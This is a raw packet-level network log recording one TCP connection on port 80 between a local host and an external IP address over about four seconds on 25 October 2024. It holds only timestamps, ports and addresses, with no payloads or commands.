Oct 25, 2024 13:50:13.093592882 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093616962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093627930 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093651056 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093664885 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093684912 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093696117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093719959 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093733072 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093759060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093765974 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093792915 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093806982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093827963 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093832970 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093861103 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093894005 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093898058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093923092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093929052 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093945026 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093962908 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.093986034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.093996048 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094010115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094046116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094085932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094136953 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094137907 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094182968 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094187021 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094221115 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094234943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094254971 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094274998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094289064 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094302893 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094332933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094341040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094374895 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094383955 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094409943 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094419956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094443083 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094455004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094477892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094491005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094511032 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094541073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094544888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094563961 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094588995 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094597101 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094631910 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094645977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094665051 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094679117 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094697952 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094711065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094744921 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094748020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094783068 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094793081 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094816923 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094830036 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094851017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094862938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094883919 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094902992 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094921112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094929934 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094954967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.094964981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.094990969 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095004082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095024109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095036983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095107079 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095123053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095143080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095191002 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095191956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095247030 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095280886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095298052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095321894 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095350027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095382929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095432997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095444918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095444918 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095483065 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095483065 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095518112 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095529079 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095551968 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095567942 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095587015 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095601082 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095621109 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095632076 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095654964 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095664978 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095688105 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095724106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095738888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095746040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095773935 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095784903 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095808029 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095860004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095896006 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095931053 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095931053 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.095954895 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.095980883 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096014977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096021891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096024990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096057892 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096067905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096102953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096110106 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096143961 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096158981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096178055 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096189976 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096224070 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096227884 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096266031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096267939 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096299887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096313953 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096335888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096343040 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096369982 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096379042 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096404076 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096411943 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096448898 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096465111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096498013 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096509933 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096530914 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096564054 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096582890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096582890 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096596956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096610069 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096630096 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096643925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096664906 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096683979 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096698999 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096710920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096733093 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096744061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096765995 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096776962 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096801043 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096813917 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096837044 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096853018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096882105 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.096934080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096970081 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.096988916 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097016096 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097031116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097065926 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097079039 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097110033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097115993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097150087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097162008 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097182989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097213984 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097215891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097240925 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097249031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097260952 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097282887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097294092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097316980 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.097326994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.097362041 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.105722904 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.105792046 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.105948925 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.105990887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106009007 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106041908 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106079102 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106112957 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106127024 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106146097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106158018 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106182098 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106194019 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106225014 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106417894 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106451035 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106475115 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106483936 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106498957 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106518984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106534004 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106551886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106569052 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106585979 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106596947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106620073 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106630087 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106653929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106664896 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106689930 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.106698990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.106734991 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107129097 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107160091 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107177973 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107192993 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107206106 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107227087 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107243061 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107259989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107270956 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107302904 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107311010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107362986 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107371092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107402086 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107409954 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107435942 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107449055 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107470036 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107480049 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107503891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107513905 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107537985 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107547998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107570887 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107582092 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107604027 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107615948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107637882 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107649088 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107671022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107681990 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107705116 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107713938 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107738972 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107748032 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107773066 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107781887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107808113 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107826948 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107846022 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107851982 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107891083 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107894897 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107933998 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.107947111 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107980967 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.107992887 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108015060 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108025074 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108047962 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108058929 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108088017 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108098984 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108130932 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108150005 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108176947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108177900 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108211040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108225107 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108248949 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108251095 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108283997 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108294010 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108318090 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108329058 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108351946 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108361959 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108386040 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108395100 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108418941 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108428001 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108453989 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108458996 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108486891 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108494043 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108520031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108532906 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108553886 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108563900 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108589888 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108597994 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108639956 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:13.108649969 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.108691931 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.856182098 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:13.862354994 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:14.710752010 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:14.710937977 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:14.781749964 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:14.787199020 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:15.625118017 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:15.625186920 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:16.393098116 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:16.398935080 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.233071089 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.233176947 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.590995073 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.596442938 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874145031 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874203920 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874214888 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874241114 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874248981 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874273062 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874284983 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874309063 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874325037 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874346018 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874352932 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874382019 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874392033 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874418974 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874428034 CEST	49712	80	192.168.2.6	185.215.113.37
Oct 25, 2024 13:50:17.874455929 CEST	80	49712	185.215.113.37	192.168.2.6
Oct 25, 2024 13:50:17.874464035 CEST	49712	80	192.168.2.6	185.215.113.37
